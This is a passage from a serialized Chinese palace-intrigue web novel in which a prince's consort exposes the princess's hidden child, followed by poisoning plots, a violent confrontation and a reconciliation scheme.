裴墨染本就心气高,他见她甩脸色,他也黑了脸。 云清婳行云流水地穿好了水月色纹云锦绣襦裙,梳了隆重的随云髻,戴了金满钿,她略施粉黛,抿了口脂。 “主子,已经安排好了。”飞霜在她耳边轻声道。 她的脸上露出几分阴鸷,“今天,我会送给赵婉宁一份大礼!” 贴身太监命人将官服送了进来,他乐呵呵道:“云侧妃,王爷的衣袍送来了。” 她淡淡地瞥了他一眼,面无表情道:“你去伺候就是。” 无形中的低气压,简直快要把寝殿冻住。 贴身太监抖了抖。 嘶…… 两位主子还没和好呢。 床榻上,裴墨染的眉毛一沉再沉。 他小腿上的伤口结了痂,还未痊愈,他痒得很,忍不住地抓挠。 云清婳瞅见了,她刻意别过脸,“飞霜,传膳吧。” “是。”飞霜立即吩咐婢女。 裴墨染悄悄睨了她一下,随后又低头抓挠着伤口,痂都快被挠流血了。 他气急败坏又笨拙的模样,让贴身太监哭笑不得。 两位主子又在斗法,都想逼对方低头。 云清婳自然知道裴墨染的小心思。 与其说,他是在卖惨,不如说这是一场测试。 他想看看,她会不会心疼他。 所以,她无可奈何般叹了口气。 她板着脸,走到床榻前,抓住裴墨染的手,“别抓啊。” “飞霜,把药拿来。”她又吩咐。 裴墨染握住了她的小手,嘴角扬起了一丝不明显的弧度。 云清婳将手抽了回去,冷淡地给他上药。 二人一出门,便看见赵婉宁立在冷风中,脸颊、手冻得通红,她端着得体的笑,看起来有几分凄凉。 “王爷、云妹妹可用膳了?马车已经在垂花门候着了,早膳也备了。”赵婉宁心细如尘的讨好。 云清婳象征性的福福身,“多谢王妃。” “不必了。”裴墨染只觉得赵婉宁可悲。 赵婉宁若是早有这份觉悟,他们何至走到今日? “王爷跟云妹妹先走吧。”她自愿跟在后面,大度得不成样子。 裴墨染思忖,若是赵婉宁能一直如此知情识趣就好了。 “这是坏规矩的,王妃跟王爷走在前面就好。”云清婳不咸不淡地说。 裴墨染蹙眉,他瞥了眼云清婳,负手先走了。 赵婉宁昨晚就听说了云清婳跟王爷吵架的事情,她不禁暗喜。 云清婳真是愚蠢,居然敢跟王爷使性子,还怄气到了现在。 王爷性情高傲,就算是当初的她,每次吵架也会顺着台阶下。 既然云清婳不知道珍惜,那就别怪她趁虚而入。 马车上,赵婉宁从食盒里取出了两碗饽饦。 这是在西北时,裴墨染爱吃的。 裴墨染看见饽饦,眼神变得悠远,似乎想到了什么。 他再次看向赵婉宁时,眼里含着恨铁不成钢意味。 赵婉宁接收到他的眼神,就知道稳了。 王爷还是念旧情的。 就算恨她、厌恶她,可也会怀念曾经的时光。 “王爷,用些吧?”赵婉宁故意用畸形的右手,将碗推到他的面前。 裴墨染淡淡道:“本王用过了。” “是。”赵婉宁端着饽饦,含泪吃了起来。 至少王爷肯好好跟她说话了,这就说明王爷没那么讨厌她了。 云清婳用眼角的余光一瞥,就知道会是这个结果。 哪怕赵婉宁差点杀了她,狗男人也只是废了赵婉宁一只手,压根没想过杀赵婉宁。 这种渣男,也配得到她的真心? …… 一众皇子先在养心殿请安,众人跪了足足一个时辰。 许多皇子都说,皇上这次会召见裴墨染,毕竟他昨日护驾有功。 裴墨染心中隐隐期待着。 可皇上最后只召见了裴云澈。 睿王几人立即幸灾乐祸。 裴墨染的心像是灌进了冷风,他佯装无事,依次去翊坤宫、慈宁宫请安。 这一次,赵婉宁很用心,她努力讨好着皇后、太后,不断说着好听话。 尽管笨拙但所有人都看出了她的卖力,皇后难得给了她好脸色。 而云清婳只是乖巧的站在后面,默不作声。 第97章 赵婉宁的秘密暴露! 赵婉宁的殷勤,让太后很不屑。 平时不烧香,临时抱佛脚,有用吗? 太后的目光如炬,她的眼神从裴墨染身上扫过,又落在云清婳的脸上。 “来,清婳。”太后冲云清婳勾手。 云清婳走上前,她跪在太后脚边,握住太后的手,“太后娘娘。” “哀家的孙儿又惹你生气了?”她和蔼地问。 “妾身不敢,只有妾身伺候得不好,王爷怎会有不是?”云清婳得体的回答。 太后埋怨地瞪了裴墨染一眼,训道:“真是好了伤疤忘了疼!” 裴墨染的心骤然发痛,蛮蛮离开他的创伤又一次被揭开。 他还没忘记,蛮蛮跳下悬崖时,那种心痛、窒息的感受。 “皇祖母放心,本王跟蛮蛮只是争辩了几句。”他道。 “你们少年夫妻,打打闹闹可以,何必深究对与错?你争辩赢了又如何?输了又如何?”太后语重心长地说。 而赵婉宁双眸通红,眼泪在眼眶打转,她死死咬着下唇。 这个老虔婆一定是在点她! 她跟王爷才是夫妻,云清婳只是个妾,只是个贱婢! 一出慈宁宫的寝殿大门,裴墨染便主动牵住云清婳的手。 云清婳挣了挣。 “昨晚是本王错了,你不想说,便不说吧。”他觉得皇祖母说得对,他不必跟蛮蛮争对错。 他们是夫妻,又不是在审犯人。 她不搭理他。 赵婉宁难免心酸,曾经裴墨染也这样哄过她,可现在全都转移到了云清婳身上。 “云妹妹,王爷常年在军营中,可能不太懂女儿家的心思,有时难免词不达意,你莫要介怀啊。”赵婉宁忍着恶心劝道。 “嗯。”裴墨染笨拙地颔首。 云清婳侧过脸,也不搭理赵婉宁。 裴墨染忍不住想,蛮蛮今日格外的任性。 赵婉宁虽然是装的,但装得像模像样,倘若她能一直这样装下去,王妃之位还是不变动最好。 几个慈宁宫的嬷嬷在墙角窃窃私语,“这就是恃宠而骄!云侧妃方才一直对肃王甩脸色,一个侧妃罢了,摆什么谱?” “她还不如肃王妃呢,别人至少是发妻!她一个妾室,真把自己当盘菜了?” “原先我还高看她一眼,没成想第一贵女就是个小肚鸡肠的,得亏王爷不计较。” 闻言,赵婉宁的嘴角不住地抽搐。 云贱人就作吧! 再作下去,王爷就会厌恶你了。 云清婳的眸中水光流动,她正欲走。 裴墨染却穿过拱圈门,朝声源处走去,“云妃岂是你们配置喙的?云妃端庄娴静,深得吾心,你们这些老虔婆,一个个这么清闲,就在此互掴一百下。” 几个嬷嬷身子一颤,扑通跪在地上,哭道:“老奴知错,王爷饶命啊。” “老奴知错,王爷饶命啊。” 裴墨染一个眼神过去,她们立即噤声。 他穿回拱圈门,牵着云清婳的手快步离开,“蛮蛮,你千万别往心里去,一群刁奴罢了。” 云清婳的脸上闪过狡黠。 能在慈宁宫伺候的,个个都是人精,怎会有嬷嬷这么蠢,恰好说坏话被裴墨染捉住? 恐怕是特意太后安排,让他们俩重归于好的由头罢了。 …… 马车一路驶到了肃王府门前。 三位夫人以及妾室早已等候多时。 今日,赵婉宁的心情格外的好,她被夸了一路,而云清婳被唾弃了一路。 她感觉她们二人好像颠倒了。 马车一停,裴墨染便先行离开。 赵婉宁瞥了眼云清婳,心中暗爽。 昨日,王爷都是赶她下车,他跟云清婳缠缠绵绵后下的。 可今日,王爷终于受不了云清婳了! “云妹妹,我劝你一句,女人啊,不要太作!”赵婉宁的黛眉高高一挑,她摇晃身姿,掀开车扉。 云清婳的鼻腔中发出了一声很轻的嘁声。 呵,赵婉宁,你就得意吧! 她就是要把赵婉宁高高地捧起来,然后重重地摔下去! 今日,她故意一言不发,就是为了让赵婉宁大展光芒,被捧上天! 裴墨染就在车辙旁等候,他还伸出了手。 赵婉宁受宠若惊,心脏砰砰直跳,她没想到王爷这么快就原谅了她。 还贴心地准备扶她下马车。 她热泪盈眶,把手伸了出去。 大门前,魏娴的脸色一僵。 不是,这是什么情况? 狗男人怎么回事? 几个妾室酸溜溜地说:“呦呵,听说云侧妃跟王爷耍小性子,这不,王爷厌弃她了!” “还是王妃端庄得体,王爷钟情的只有发妻。” 闻言,赵婉宁骄傲极了。 她的手正要接触到裴墨染的手心时,裴墨染却像被火星子燎了一般,迅速抽离。 赵婉宁险些从车上栽下去,多亏了春苗及时将她扶住,她才顺利落地。 “王爷……”她委屈地唤了一声。 “……” 可裴墨染的双眼紧紧盯着车扉,并未在意。 见状,魏娴险些扑哧笑喷。 而说风凉话的妾室,像是被打了巴掌,吓得脸都白了。 门扉被打开,裴墨染殷切地将手伸了过去。 云清婳不理他,踩着脚凳,自己下车。 裴墨染有些恼了,他抓住她的胳膊,将人狠狠一拽。 “啊……”云清婳猝不及防撞进了他的怀里,被他粗鲁地抱下了车。 她被吓到,埋怨地瞥了他一眼。 他浑然不觉,还厚脸皮地捞紧了她的腰。 对比十分惨烈,赵婉宁恨不得找条地缝钻进去。 这时,几辆马车纷纷驶来。 以祝国公为首的许多达官显贵来拜年,裴墨染麾下的兄弟以及诸葛贤也来了。 祝国公牵着何心意下马车时,何心意俏皮地冲云清婳挤挤眼。 很好,所有人都到位了。 “心意姐姐。”云清婳甜声念了一句。 裴墨染不禁有些吃醋,蛮蛮已经很久没这样唤过他了。 忽然,街边一个约莫七岁的小孩,梳着发髻,穿着布料上好的红夹袄棉衣朝他们奔来。 “娘亲!娘亲!” 小男孩径自朝赵婉宁冲了过来。 赵婉宁的眼眸瞪得硕大,脸吓得惨白,她连连后退,恨不得拔腿就跑。 可小男孩动作敏捷,他当着十几个官员、家属以及裴墨染等人的面,抱住了赵婉宁的腿。 赵婉宁的双腿哆嗦起来,嘴唇跟牙齿都在打颤,“不不不……” “哪来的小孩,别碰我们家王妃!”春苗护主心切,狠狠推开小男孩。 小男孩摔了个屁股墩,鼻头一红,仰头哇哇大哭,“呜呜呜呜娘亲,娘亲,她推我,她推我,她推福宝……” 第98章 孩子是赵婉宁的! 赵婉宁的眼中流露出些许心疼,她双手用力的攥拳,指尖泛着乳白色,似乎下定了什么决心。 “娘亲,福宝的屁股好疼,呜呜呜呜……”名叫福宝的男孩,一对葡萄眼不停的流眼泪,可怜极了。 裴墨染瞪了春苗一眼,训斥道:“一个孩子罢了,为何这么容不下?” 春苗吓得跪地。 “王爷,派人送孩子回家吧,这孩子一定是认错了人。”赵婉宁强装镇定。 可惨白的脸色,大汗淋漓的额头,暴露了她的心虚。 云清婳蹲下身,扶起福宝,温柔地拍了拍他身上的灰尘,“你叫福宝对吗?你娘亲呢?你怎么跑到这里来了?” 赵婉宁的心脏都快从嗓子眼里跳出来,她连忙打断,“客人来了,我们先进去吧,一个孩子而已,让管家送回去就好。” “呜呜呜呜……娘亲!你真的不要福宝了,他们说得对,你有新孩子,就真的不要福宝了!”福宝仰着脑袋放声大哭。 这哭声把人吵得脑袋都要炸了。 客人都掩面而笑,饶有兴致地看热闹。 裴墨染烦躁不堪,他半蹲在云清婳身边,沉声威慑道:“别哭了!你爹娘叫什么名字?嗯?” 他强大的气场外放,让福宝连哭都不敢哭了,他抽噎着:“福宝没有爹爹,福宝的娘亲叫……” “王爷,不如先招待客人吧?一会儿臣妾亲自带他找娘。”赵婉宁又一次打断福宝的话。 “无妨,这孩子很可爱,王爷跟王妃去招待客人吧,妾身留下就好。”云清婳柔声道。 赵婉宁心惊肉跳地看着云清婳,结结巴巴道:“还、还是我来吧。” 她明明已经把福宝藏起来了,为何还是被找到了? 云清婳的手段真是了得啊! 何心意挽着赵婉宁的胳膊,将她往府邸里带,“王妃,走吧,此事交给云侧妃就好。” “可是……”赵婉宁一步三回头。 看着赵婉宁越走越远,福宝朝她伸出手,“呜呜呜娘亲,不要走,福宝听话,福宝以后好好读书,好好写字,你别不要福宝啊。” 赵婉宁的心抽痛。 “这孩子,也不知谁教的!居然冒认我们王妃当娘亲!”春苗啐了一句。 裴墨染急着带云清婳进门,他不耐烦道:“此事有何难?把孩子的母亲寻到就好了。小孩,你娘亲究竟叫什么名字?” 赵婉宁正欲插话,可这次福宝快了一步,“我娘亲叫赵婉宁!” 此话一出,云清婳立即捂住福宝的嘴。 可在场的所有官员都听见了。 众人大惊。 “臣妾、臣妾冤枉啊,臣妾根本不认识他。”赵婉宁的眼泪夺眶而出,浑身瘫软。 裴墨染的眸子涣散,随后聚起了刺骨的寒光,像是要把人冻死。 诸葛贤再也忍不住,他走上前,拱手道:“朝堂之上的龃龉没想到跑到府前了,这孩子的背后之人恐怕不简单。” 他不清不楚地说着,把矛头指向了睿王。 至于官员信不信,那就另当别论了。 “把这孩子关起来!”裴墨染的脸色阴恻恻的,他带领众人进门。 赵婉宁的心又提了起来。 …… 裴墨染跟赵婉宁亲自宴客。 席面热闹,觥筹交错,欢声笑语。 仿佛方才的一切都不曾发生。 只是二人不曾有丝毫交流,赵婉宁从头到尾都在强颜欢笑。 宴席中途,赵婉宁回到了清心阁。 她的眼泪扑簌簌地流,“怎么办?怎么办?” “王妃,怎么了?”春苗轻拍着她的背脊,“是不是因为那个死孩子?王妃不必担心,王爷岂会当真?” 赵婉宁有口难开,她不敢再将这个秘密告诉旁人。 她的面色一沉,痛心疾首道:“那孩子被关在哪里?” “王爷仁慈,只是派人将他关进空置的院子里。”春苗道。 赵婉宁颤抖的怀中掏出一枚瓷瓶,一字一顿道:“帮我……杀了他。” 对不起了,福宝。 你已经拖累我太多。 这一次,娘亲只能保全自己了。 春苗的嘴巴张得都快容下一个鸡蛋了,她愣了愣才道:“是。” …… 玄音阁。 云清婳把玩着瓷瓶,戏谑道:“啧,谁让裴墨染总是对赵婉宁不忍心呢?那就别怪我让他颜面扫地!” “王妃不洁,这种事情被盟友知道,王爷日后怎能抬得起头?岂能服众?”飞霜的眼中闪过报复的快意。 她轻嗤:“狗男人活该!口口声声说爱我,却不把王妃之位给我,所以我只能自己来拿了。” 裴墨染想要在他们的感情中游刃有余,成为掌控者。 那她就逼疯他! 让他崩溃,让他意识到,他的身边都是谎言,他从未被人爱过! 这时候,她再出现,她就会变成救赎者,变成裴墨染黑暗的世界里唯一的光。 …… 宴席结束后,诸葛贤有要事跟裴墨染商谈。 “王爷恕罪!”诸葛贤扑通一声跪倒在地。 裴墨染立即从檀木椅上起身,走到他身前,强行将人扶起,“先生何罪之有?” “王爷,老夫有罪!”诸葛贤又一次跪了下去。 裴墨染的眉头越拧越紧,他隐隐猜测到了什么,心底的阴鸷在叫嚣。 他冷声道:“可是你一直吞吞吐吐的事?” “王爷可还记得宝音?”诸葛贤长叹一声,他下定决心要把心中的秘密全部倾泻出来。 裴墨染颔首,“她是王妃的忠仆。” “宝音死前其实留了遗言,她说王妃生过孩子,孩子都七岁了。”诸葛贤的老眼闪动着晶莹。 裴墨染身躯一震,整个人僵在原地,似乎连心脏都忘了跳动。 屈辱感如同山崩地裂、洪河海浪将他吞噬、淹没。 赵婉宁不洁? 她跟其他男人有过苟且? 作为一个封建男人,在裴墨染心中,他的女人必须是冰清玉洁,身心干净的。 可赵婉宁作为他的初恋,不仅为人狠毒,还生过孩子。 他登时觉得胃里有点恶心。 诸葛贤浑浊的老眼泛红,言真意切道:“老夫听说此事后便夜不能寐,我想这是王爷的家事,作为外臣,听到了此等丑闻,就该千刀万剐了,断不可说。可老夫又觉得隐瞒下来,愧对于心,对不住您的信任跟爱重。” “于是老夫辗转调查了一个月,终于确认,宝音所言非虚!赵婉宁每隔一个月,便会亲自去京郊看望福宝。” 裴墨染的眼眶泛红,他咬牙切齿道:“你为何优柔寡断,不早些跟本王说明?今日他们都听见了!” 诸葛贤吸入一口寒气,捂着肺部咳了咳:“此等丑事,老夫实在难以启齿!云侧妃也知晓此事,老夫总会安慰自己,或许云侧妃会说给您啊。” “蛮蛮?”裴墨染的呼吸一滞。 失落、埋怨冲刷着他的心。 他身边最信赖的两个人,居然一直瞒着他,一直看他的笑话。 难怪他们总是欲言又止! 原来情出一处! 好得很啊! 诸葛贤也就罢了,这么重要的事,蛮蛮怎么可以瞒着他? “诸葛军师,你走吧!”裴墨染不客气地指着门。 诸葛贤的脸色渐渐惨白。 往常王爷总是分外尊敬他,叫他先生,这还是第一次王爷唤他的军师。 “是。”诸葛贤惶恐地拜了拜,快步离开。 裴墨染双眸猩红,就像是要上战场杀敌。 有些账,是该算了! 第99章 此生不复相见 清心阁。 春苗气喘吁吁地回来了。 赵婉宁不停地流泪,“怎么样?” “奴婢已经在水里下了鹤顶红,不出意外,人这会儿就没气了。”春苗拍拍胸脯。 “呜呜呜福宝,对不起,对不起!”这一刻,赵婉宁的心仿佛都被撕裂开了。 她是穿越来的,根本不是原主,照理说应该对这副身躯孕育的孩子没感情。 可她经历了分娩的阵痛,喂过福宝吃奶,福宝聪明机灵又孝顺…… 纵使是她这样果决的人,也不可能没有恻隐之心啊。 “主子莫不是后悔了?”春苗也觉得后怕。 好端端的,杀一个七岁的孩子。 赵婉宁的眼中闪过绝情,她一字一顿:“不!我永不后悔,挡我路的人都得死!” 砰—— 门猝然被踹开。 赵婉宁的瞳孔中闪过一道寒光。 门外,裴墨染提着上阵杀敌的长剑,满脸暴戾地朝她走来,他浑身的杀气四溢,就像面对的是瓦剌人。 “王、王爷……”赵婉宁的瞳孔地震,她先是一惊,随后陷入了迷茫,最后心脏突突直跳。 她脸上的血色渐渐褪去,双腿发抖。 春苗福福身,“王爷,您为何提着剑……啊……” 裴墨染一脚将她踹开。 “滚!” 春苗的身子一下子被踹飞,重重砸到了桌上。 她痛得呻吟,五脏六腑拧着痛,眼泪都流了出来,她慌忙连滚带爬逃了出去。 寝殿中,一时之间只剩下杀气腾腾的裴墨染跟赵婉宁。 “王爷,王爷,您……”赵婉宁下意识地步步后退。 裴墨染提剑上前,他棱角分明的轮廓深沉而森冷,大有黑云压城,要杀得片甲不留的气势。 “你可有什么话要跟本王说?”他反问。 赵婉宁努力保持镇定,逼自己坦诚地看着他的眼睛,“臣妾没什么想说的。” “王爷,您怎么提着剑来了?莫不是信了那孩子的话?” 长剑猛地抬起,直指赵婉宁的白嫩的脖子。 他眼中布满红血丝,咆哮道:“你还不说吗?” “臣妾真的不知道该说什么啊。”赵婉宁的眼泪啪嗒流了出来,故作委屈。 反正福宝已经死了! 死无对证! 只要她一口咬死,就算是云清婳攀扯她,也不能给她定罪。 “呜呜呜……王爷,妾身跟您相识七年,相恋五年,成婚三载,曾经为您挡过一箭!我们还在战场上并肩作战,我们夫妻二人何至于此啊?”她心想,王爷就吃云清婳这个狐媚子这套。 她也用这种方式,裴墨染定会有恻隐之心。 裴墨染的眸子更暗了,无数的怨气、恨意翻涌,他的心中汇聚成风暴。 “是不是有人在您面前说了什么?究竟是何人要挑拨我们夫妻关系?也不知何时,我们竟生分至此!”赵婉宁声泪俱下,字字泣血,不像作伪。 裴墨染看着赵婉宁愈发精湛的演技,只觉得自己可笑、可悲。 时至今日,她居然还想糊弄他! 她真把他当傻子吗? “贱人!”裴墨染抬手,一巴掌狠狠扇了过去。 啪—— 清脆的耳光声,响彻了院落。 “啊……”赵婉宁被打得重重摔倒在地,眼冒金星,鼻血不住地往下淌,她感觉像是有人把酸醋灌进了鼻腔,让她的脸又辣又酸涩。 她凄凄地哭,满眼惊恐,“王爷,您怎可听信谗言?您可有证据?” 裴墨染的双眼射出阴狠的光,他蹲下身,钳住她的下巴,几乎要将她的下巴捏脱臼,“贱人!你真当你手眼遮天?福宝没被你毒死!” 他嫌脏似的,狠狠甩开她。 难怪她的下身跟其他女子不同,原来是生过孩子,下身裂烂。 就像烂掉的果子。 他方才特意去问了府医才得知,她浑身香料味这么重,多半是因为漏尿…… 裴墨染膈应至极,他堂堂大昭战神的身与心都被玷污了。 这是奇耻大辱! 他不能接受自己成了接盘之人,不能接受自己被一个女人戏耍! “啊……”赵婉宁的头重重磕在了坐榻底部的木料上,发出沉闷的咚的一声,她疼得想吐,可她顾不得身上的痛楚。 完了! 一切都完了! 她的秘密暴露了! “王爷,我也是受害者啊,我是被山匪夺了身子呜呜呜……”赵婉宁哭得上气不接下气,“我在乎您,所以才不敢告诉您啊。” 她伸手想要抓住他的手,可裴墨染嫌脏的后退一步。 “贱人!本王此生与你不复相见!”裴墨染毅然决然地甩袖而去。 夫妻三年,这么重要的事,却一直刻意隐瞒。 这足以说明,她对他用心不纯,另有图谋。 赵婉宁给他的失望太多了,他无法念及一丁点旧情。 …… 裴墨染去了书房。 在新年第一日,裴墨染备受打击,此时的他如同一只暴怒的猛兽。 他捏着长剑在屋中一通乱砍。 屋中名贵的桌椅板凳、博古架都被砍了个遍。 他动作太大,不小心伤了手,一地鲜血淋漓。 贴身太监、乾风与万嬷嬷都忧心不已。 但他们不知究竟发生了何事,也不敢劝,于是去找了云清婳。 云清婳闻言,拎着药箱匆匆朝书房赶。 她的心里在不停暗笑。 狗男人前几个时辰还觉得赵婉宁变乖了,想保留她的王妃之位。 这会儿,板子落在自己身上知道疼了? 飞霜低声道:“王爷也真是的,赵婉宁让他丢了这么大的人,他居然打一巴掌就算了?” “不可能的!男人最爱面子,赵婉宁活着一天,他的耻辱就存在一天。王妃之位,从今日起,已经不属于赵婉宁了。”云清婳挑眉,眼中稍带讥诮。 “那咱们是不是可以动手了?”飞霜的脸上划过森冷。 云清婳的眼底恨意不断翻涌,不知不觉她湿了眼眶,“让她死,岂不是太便宜她了?” 姐姐被十几个人凌辱,每一日都活在惊恐中,身子破碎,精神、心理也饱受折磨。 让赵婉宁一死了之,凭什么? 姐姐所受的折磨,赵婉宁应该百倍、千倍、万倍尝过后,才能去死! …… 日头西沉,天幕已暗,夜色渐渐淹没了天光。 书房乱得不成样子,就连被敌军搜刮了一番,窗牗都被砍掉了一半。 一室破烂,满目疮痍。 裴墨染不顾形象地坐在矮阶上,他的手鲜血淋漓,地上积攒了一小滩血。 可他毫无知觉,定定地坐着,脊梁弯了下去,颓丧不堪。 他浑身被笼罩在黑暗中,发髻微微散乱,额前落下几根碎发。 忽地,一个娉婷婀娜的身影站在门前,形成凹凸玲珑的光影。 门口射进来微弱的光,将他们割席成一明一暗。 他定定地看着门前的光影,剑眉一蹙,低吼道:“本王谁都不想见。” 第100章 蛮蛮,不要离开我 裴墨染心中彷徨、迷茫。 被一个女人如此玩弄了七年。 他成了一个笑话,一个绿毛龟,一个孬种! 全天下,他究竟还能相信何人? 他驻守边关十年,浴血奋战,战功赫赫,造福了边地百姓,他做了这么多好事,可是从来没人爱他。 昨晚,他以身护驾,可今早父皇没有召见他,只召见了裴云澈。 母后张口闭口也都是让他尽心尽力辅佐裴云澈。 赵婉宁负他。 诸葛贤、蛮蛮也瞒他…… 他忽地感觉浑身冰冷,穿再多也捂不热。 云清婳阴恻恻地勾起唇角,她完全了解裴墨染的心理。 痛苦、彷徨、孤独…… 在他最脆弱的时候,只要她出现安抚,她便能成为他生命中的一道光! 她会成为他的救赎! 攻心之战,她这次要拿到八分! 吱呀—— 云清婳推开门,一步步缓缓向他走来。 裴墨染红着眼,失望地看着她,他怒吼:“本王谁都不想见,你听不见吗?出去!” “……” 云清婳没有理会他的暴戾。 她提着药箱,蹲在他身侧,她握住他的右手,“呼……” 云清婳轻轻吹他的伤口,温柔地上药、包扎。 裴墨染眼神复杂地看着她,纠结、失望、难过的情绪在碰撞。 “出去。”他的语气清冷。 “看夫君的反应,我便猜到夫君对我失望了。但还请您听我辩解一番,我在乎您,不愿与您离心。您听后,再对我失望也不迟。”云清婳目光灼灼地看着他。 “……”他不语。 云清婳自顾自道:“想必诸葛先生什么都跟您说了,夫君一定在怪我,为何隐瞒您这么重要的事,为何不坦诚相待。” 此话戳中了裴墨染的心,裴墨染掀起薄薄的眼皮看她。 她的双眼澄澈,“夫君知道我的为人,我向来不愿揣度、污蔑女子的清白,无凭无据之事,我绝不会说出口。王妃曾经对我下春药,照理说,我应该借机报复,但我云家家教并非睚眦必报。” 男人的眉头缓缓拧紧。 “您心里一定还有疑窦,我为何不查清楚,再禀告于您。因为我爱您。”云清婳故意顿了顿。 裴墨染的眼神果然亮了一分。 她继续道:“我不敢赌!夫君宽宏,屡次维护王妃,我怕您会替王妃抹去痕迹,反而在心里怪我恶意告发,觉得我不能容人,与我离心。” 裴墨染的心像被紧紧揪住。 “后面夫君寻我回来,我有时想说这件事,但还是怯懦。我害怕夫君会再次选择王妃,包容王妃。 我不想心痛,就好像我是个没用之人,无论怎么努力,都比不上王妃。”云清婳的两行清泪在下巴汇成一股,豆大的晶莹坠落。 她缓缓起身,压抑着哭腔,声音颤抖:“看来夫君还是不想原谅我,我先告退。食盒里有些咸口的点心,夫君饿了,便用些吧。” 裴墨染的眼神动容。 于情于理,他都怪不着蛮蛮。 犯错的是赵婉宁! 云清婳转身的瞬间,伤神悲痛的脸登时化为势在必得。 三! 二! 一! 她才迈了两步,腕上便一紧。 男人低沉而富有磁性的声音,从身后传来。 “蛮蛮,不要走。” 呵! 拿捏! 云清婳转身,一股大力将她拖进宽大的怀抱中。 她被迫只能跪在地上。 裴墨染依赖地将脸埋进她的胸口。 她轻轻抚摸着他的头,“夫君不怪我了?” “你何错之有?都是我的错。”他双臂用力,箍紧了她的腰肢。 就像溺在江海之中,抓住了唯一的浮木。 他抬起脸,双眼润泽,他借着月光望着她的双眸,“蛮蛮,此后不要隐瞒我,不要离开我。” 我只有你了。 云清婳郑重地点头,“只要夫君不负我,我定不会隐瞒您、离开您。” 裴墨染蹙眉,他不喜欢蛮蛮提出的“条件交换”。 但他顾不得这些,只是点头,“好。” 他怒了一下午,劈砍了一下午,也疯了一下午,滴水未进,这会儿闻到云清婳身上的馨香,有些口干舌燥。 裴墨染捧着她的脸就要吻上去。 她娇啼了一声,连忙躲闪。 “你再多哄哄我不行吗?”他的语气埋怨,却能听出一丝丝祈求。 云清婳轻笑,她捧着他的脸,唇瓣落在他的额头上,“回寝殿了,我再哄您。” 裴墨染的心神荡漾,他捉住她的手,急吼吼赶回了玄音阁。 贴身太监、封乾都傻了眼。 云侧妃也太厉害了,居然三言两语就能劝服王爷。 …… 最终云清婳也没有哄成裴墨染。 昨晚二人闹得太凶,云清婳身子还未恢复。 她身子不爽,裴墨染的身子更是惨不忍睹,后背跟肩膀、胳膊上全是指甲划出来的抓痕。 红烛摇晃,暖帐的嫣色纱绡被拉拢。 二人相拥而眠,云清婳的手搭在男人的窄腰上。 裴墨染缄默不语,他不想聊赵婉宁的事。 云清婳也明白,作为一个拥有封建大男子主义思想的人,他怎愿在女人面前谈论自己的屈辱? “夫君,皇后娘娘又催了。”她冷不丁出声。 裴墨染的脸色黯淡,“你真是可气!又把我往旁人身边推?” 她的眸中氤氲着水光,“若是再没有姬妾怀孕,又有人要进府了。” 他厌恶不已,后宅的女人整日勾心斗角,没一个安分的。 特别是看清了赵婉宁后,他对后宅之争深恶痛绝。 再进来人,蛮蛮腹背受敌不说,他也烦。 他将脸埋进她的颈窝,“不急。” 裴墨染是有私心的,他想让蛮蛮先怀上长子。 免得其他女人越到她前面。 “夫君,那个孩子怎么处置?”她怯生生地问。 裴墨染似乎在酝酿一场风暴。 这个孩子是他耻辱的象征! 若是被睿王一党知道,他的脊梁骨都会被戳烂,父皇一定也会大发雷霆。 “你想如何?”他反问。 云清婳道:“不如养在庄子上?稚子无辜,却也不能放过,免得此事传出去败坏肃王的名声。” 他对她的处理方式很满意,“就按你说的办。” …… 翌日,裴墨染便悄无声息地拿了一瓶药给万嬷嬷。 万嬷嬷的神色并未有多大变化,像是意料之中,“王爷放心,最多三年,王妃便会香消玉殒。” 他冷冷地颔首。 夺嫡的路上,他不容存在一个阻碍! …… 接下来的几日,裴墨染白日便去北镇抚司查案,深夜回府,例行公事般将妾室依次临幸了一轮。 其中,沈沁最为得宠。 魏娴、崔夫人无宠。 崔夫人被冷落惯了,暂且没闹出幺蛾子。 反而是魏娴先坐不住了。 第101章 巫蛊娃娃是蛮蛮的? 一日清晨,魏娴来到了玄音阁。 适时,云清婳正在修建花草,她瞧见魏娴,欢喜地牵着她的手。 “云侧妃,恐怕是我之前揭发赵婉宁假孕的事,惹恼了王爷,所以王爷故意晾着我。”魏娴开门见山,眉眼间尽显憔悴。 裴墨染不蠢,他自然看出来赵婉宁当众掉枕头,是魏娴的手笔。 他不怪罪魏娴揭发赵婉宁,而是怪罪魏娴当众揭发了赵婉宁。 魏娴并非想得到宠爱,而是想要孩子傍身。 这样以后就算年老色衰,日子也不会太差。 云清婳扶她坐下,笃定地说:“放心吧,侍寝与否都是一样的,其他人怀不上。” 反应了几息,魏娴的眸子瞬间瞪圆。 “你的意思是说……王爷给她们下了药?”她捂着嘴,眼神落在云清婳的小腹上。 她一时竟不知悲喜了,轻笑了声,“你不怀上,旁人都休想怀上?王爷对你,倒像是有几分用心了。” 云清婳看着空空如也的掌心,轻嗤:“若是用心,为何王妃的位置还不给我?” “会给的,兴许等你怀了孕就有了。”魏娴也有些不确定。 上位者的想法,她越发看不懂了。 云清婳摇摇头,“听说裴墨染给万嬷嬷了牵机药,至少三年牵机药才会发作。也就是说,赵婉宁还能当三年的王妃,三年的变数,不是你我可以控制的。” 魏娴长叹了口气,“三年说长不长,说短不短。就怕王爷今年宠爱你,明年又宠爱旁人。到时候,王妃之位还是落不到咱们手上。” 一旁的飞霜闻言,跺了跺脚。 真是气人! 主子不在的时候,王爷又哭又闹,搞得跟大情圣似的。 结果人回来了,也没多么宠爱。 装什么啊?死渣男! “虽然我出身好,可裴墨染得到了,未免会不珍惜。王妃之位,或许会留给对他有助力的人。”云清婳从始至终都很清楚。 裴墨染或许称得上“爱”她,但皇位才是排在第一位的。 为了皇位,无论谁都得让步。 谁让她攻心只攻了八分呢? 最后两分,恰恰是最难的。 “唉。”魏娴单手挣着脑袋,稍显烦躁。 眼下她们是占上风的,实则隐患不少。 “赵婉宁在清心阁外安插了人手,不如趁机将那细作抓出来?”云清婳提议。 魏娴幽幽的颔首。 …… 清心阁的门窗被钉死,只留一个小口每日送饭。 赵婉宁使劲地砸门,“放肆!我可是肃王妃,春节还没过完,你们胆敢这样对我!” 春苗在门外,隔着小口,心疼道:“王妃,这正是王爷下令的啊。” “什么?”赵婉宁双腿一软,瘫倒在地。 “怎么办?怎么办啊?” “呜呜呜……我想回家,我想回家,我不要待在这里。” 她想回现代,她不想当什么大女主了。 春苗不明白王妃为何突然想回西北。 但从二人的争吵中,她已经知道了不堪的真相。 她劝道:“王妃,王爷只是将您禁足,说明对您还是有情意在的。” 